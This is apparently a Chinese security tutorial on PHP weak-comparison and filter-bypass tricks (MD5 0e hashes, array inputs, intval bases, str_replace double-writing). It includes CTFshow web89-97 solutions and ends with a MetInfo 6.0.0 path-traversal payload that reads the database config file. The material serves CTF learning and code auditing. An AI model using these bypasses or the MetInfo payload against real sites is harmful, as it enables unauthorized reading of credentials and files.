WEB攻防-PHP特性-学以致用

PHP

知识点:

1、过滤函数缺陷绕过

2、学习知识点的作用

  1. CTF考点

  2. 代码审计

php函数特性知识点讲解

1、=====对比

 ==不会对比类型
 ===会对比类型

==

 <?php
 header("Content-Type:text/html;charset=utf-8");
 $flag = '小迪师傅--yyds';
 ​
 $a=1;
 if($a==$_GET['x']){
     echo $flag;
 }

==判断的时候 不会对比数值的类型,如判断是否等于1 在浏览器接收的时候 1、1.0、+1、1**都是可以的

payload:

 ?x=1,select

image-20220111084955538

===

 <?php
 header("Content-Type:text/html;charset=utf-8");
 $flag = '小迪师傅--yyds';
 ​
 $a='1';
 if($a===$_GET['y']){
     echo $flag;
 }

===不仅会对比变量的数值,而且还会对比数值的类型,所以 “y=1、1.0、+1、1**”都是不可以使用了。

2、MD5缺陷绕过

==绕过

PHP中==是判断值是否相等,若两个变量的类型不相等,则会转化为相同类型后再进行比较。PHP在处理哈希字符串的时候,它把每一个以0e开头并且后面字符均为纯数字的哈希值都解析为0。

在md5加密后以0E开头

原文 MD5密文
QNKCDZO 0e830400451993494058024219903391
240610708 0e462097431906509019562988736854
s878926199a 0e545993274517709034328855841020
s155964671a 0e342768416822451524974117254469
 <?php
 header("Content-Type:text/html;charset=utf-8");
 $flag = '小迪师傅--yyds';
 ​
 if($_GET['name'] != $_GET['password']){
     if(MD5($_GET['name']) == MD5($_GET['password'])){
         echo $flag;
     }
     echo '?';
 }

payload:

 ?name=QNKCDZO&password=240610708

image-20220111095000570

===的绕过

===会比较类型,这个时候可以用到PHP中md5()函数无法处理数组(会返回NULL)来实现绕过。

 <?php
 header("Content-Type:text/html;charset=utf-8");
 $flag = '小迪师傅--yyds';
 ​
 if($_GET['name'] != $_GET['password']){
     if(MD5($_GET['name']) === MD5($_GET['password'])){
         echo $flag;
     }
     echo '?';
 }

payload:

 /?name[]=1&password[]=2

虽然报错但是可以正常 输出结果

image-20220111095301854

3、intval缺陷绕过

intval() 函数用于获取变量的整数值。

intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

语法

int intval ( mixed $var [, int $base = 10 ] )

参数说明:

  • $var:要转换成 integer 的数量值。

  • $base:转化所使用的进制。

如果 base 是 0,通过检测 var 的格式来决定使用的进制:

  • 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,

  • 如果字符串以 "0" 开始,使用 8 进制(octal);否则,

  • 将使用 10 进制 (decimal)。

返回值:

成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1

<?php
header("Content-Type:text/html;charset=utf-8");
$flag = '小迪师傅--yyds';

$i='666';
$ii=$_GET['n'];
if(intval($ii==$i,0)){
    echo $flag;
}

根据上面intval()函数介绍,可以知道base值为0,所以可以使用使用其他进制替换666数据进行绕过。

八进制的666-->01232

十六进制-->0x29a

payload:

?n=0x29a

image-20220111102408254

4、strpos()函数缺陷绕过

strpos() 查找 "php" 在字符串中第一次出现的位置:

<?php
	echo strpos("You love php, I love php too!","php");
?>

语法

strpos(string,find,start)

参数 描述
string 必需。规定要搜索的字符串。
find 必需。规定要查找的字符串。
start 可选。规定在何处开始搜索。

返回值

返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE

注释:字符串位置从 0 开始,不是从 1 开始。

<?php
header("Content-Type:text/html;charset=utf-8");
$flag = '小迪师傅--yyds';

$i='123666';
$ii=$_GET['h'];
if(strpos($i,$ii,"0")){
    echo $flag;
}

if(0)没有办法触发函数if,如果%0a666进行换行查找的话,换行也会被带进去查找!

5、in_array第三个参数安全

in_array-检查数组中是否存在某个值

语法

in_array(search,array,type)

  • search 必需。规定要在数组搜索的值。

  • array 必需。规定要搜索的数组。

  • type 可选。如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。

如果不设置第三个参数,那么相当于==不对比数据类型则1.0、+1、1,***都是可以绕过的

<?php
header("Content-Type:text/html;charset=utf-8");
$flag = '小迪师傅--yyds';

$whitelist = [1,2,3];
$page=$_GET['i'];
if (in_array($page, $whitelist)) {
    echo '$flag';
}

payload:

?i=+1.0,sec

image-20220111153302806

6、preg_match正则表达式

修饰符含义

修饰符 意义
/ i 不区分大小写的匹配
/ s 使句点( . )匹配任何字符,包括换行符( )
/ x 从模式中删除空白符和注释
/ m 使 ^ 匹配换行符 ( )之后的内容,美元符号($)匹配换行符 ( )之前的内容
/ e 如果替换字符串是PHP代码,使用eval()执行该代码来得到实际的替换字符串
/ U 颠倒子模式的贪婪性; * 和 + 尽可能少地匹配而不是尽可能多。
/ u 把模式字符串当作UTF - 8编码对待
/ X 如果一个反斜杠之后跟着没有特殊意义的字符,将产生一个错误
/ A 把锚定位在字符串的开头就像模式中有 ^ 一样
/ D 使 $字符仅匹配一行的末尾
/ S 使表达式解析器更加小心地检查模式的结构,使得第二次运行时(如在一个循环中)加快速度

下方代码:

不能输入0-9,但还要进入if(intval($num))这个函数

<?php
header("Content-Type:text/html;charset=utf-8");
$flag = '小迪师傅--yyds';

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

绕过思路:preg_match 无法匹配数组

payload

/?num[]=1

image-20220111154650442

7、str_replace无法迭代过滤

把字符串 "Hello world!" 中的字符 "world" 替换成 "Peter":

<?php
	echo str_replace("world","Peter","Hello world!");
?>

语法

str_replace(find,replace,string,count)
参数 描述
find 必需。规定要查找的值。
replace 必需。规定替换 find 中的值的值。
string 必需。规定被搜索的字符串。
count 可选。一个变量,对替换数进行计数。
<?php
header("Content-Type:text/html;charset=utf-8");

$sql=$_GET['s'];
$sql=str_replace('select','',$sql);
echo $sql;

过滤select,但是最终实现输出select的效果

str_replace只可以替换一次,所以可以使用双写构造语法进行绕过

payload:

/?s=sselectelect

image-20220111155557550

学以致用

学习了以上知识点后,可以通过刷题巩固自己的学习效果,以及验证自己学习的内容是否有用,主要是CTFSHOW web89-97关和源码的代码审计

                                                ????????ctfshow????????

web89

 <?php

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
} 

题目分析:

接受变量num,num变量不可以出现0-9,但是还必须要求num是正数。

preg_match不可以处理数组。

payload

?num[]=1

web90

 <?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

题目分析

接受num变量,num不可以等于4476但是有要求进入 if(intval($num,0)===4476)函数拿到flag

根据intval()函数特性,我们可以进行禁止转换

八进制4476-->10574

十六进制4476-->117c

payload

/?num=010574
/?num=0x117c

web91

<?php

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

题目分析

php开头,php结尾、i不区分大小写、m是多行匹配

第一个preg_match是修饰符是im,第二个是i,所以我们可以使用换行绕过

正则表达式详解:https://www.jb51.net/article/36172.htm

payload

?cmd=%0Aphp

web92

 <?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

题目分析

接受变量num,num值不等于4476绕过第一个if,有要求intval($num,0)==4476,intval是取整,所以可以令num=4476.1也可以进行进制转换构造payload。

payload

/?num=4476.1

web93

 <?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

题目分析

比92题多了一个正则匹配,不可以输入a-z,相当于禁止了十六进制转换构造payload

payload

/?num=4476.1

web94

 <?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 

题目分析

在93的基础上过滤了开头为0的数字 这样的话就不能使用进制转换来进行操作 我们可以使用小数点来进行操作。

/?num=4476.0

web95

 <?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 

题目分析

多了一个不需要使用点,就相当于上面的小数就不可以使用了。因为前面是弱类型比较,可以在前面加入一个下划线来绕过num=_010574,发现没有出现flag但是也没有出现nonono,所以表示前面三个过滤条件都已经绕过了。就是输出flag的函数没有触发,把其他的特殊符号都是一下,最后发现加号和空格可以。

intval在处理加号和空格开发的数字的时候,会作为一个整数处理

payload

/?num=+010574

web96

 <?php

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

题目分析

不可以直接输入flag.php但是又要求读取flag.php,可以通过加入路径经行读取。

payload

/?u=./flag.php

web97

<?php

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
    if ($_POST['a'] != $_POST['b'])
        if (md5($_POST['a']) === md5($_POST['b']))
            echo $flag;
        else
            print 'Wrong.';
}
?>

题目分析

post接受a和b,但是进入if ($POST['a'] != $POST['b'])有要求md5($POST['a']) === md5($POST['b'])相等,md5不可以处理数组返回值都是NULL

payload:

a[]=1&b[]=2

                                       ????????代码审计????????

MetInfo6.0.0代码审计

根据学习的以上知识点,可以进行简单的代码审计。

搜索关键字str_place

MetInfo6appsystemincludemoduleold_thumb.class.php

image-20220111175420827

从代码中可以看到,$dir直接由$_GET['dir']传递进来,并将.././置空。目标是进入到第一个if里面的readfile($dir);,读取文件。

看看if语句的条件,里面的是将$dir中包含$_M['url']['site']的部分置空,这里可以不用管。外面是一个strstr函数,判断$dirhttp字符串的首次出现位置,也就是说,要进入到这个if语句里面,$dir中包含http字符串即可。

image-20220111180107516

从上面的分析可以构造出payload,只要$dir里包含http字符串就可以进入到readfile函数从而读取任意函数,然后可以使用.....///来进行目录跳转,因为.././会被置空,所以最终payload如下:

/include/thumb.php?dir=.....///http/.....//configconfig_db.php

被替换后实际带入其中的结果是:

../http/..configconfig_db.php

image-20220111185646260

总结:

跌跌撞撞的算是把二十天的内容搞定了,其中看了许多资料也收获了很多。一看就会-一座就废,看了≠会了。


免责声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。禁止用于任何非法用途。如有任何人凭此做何非法事情,均于笔者无关,特此声明。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>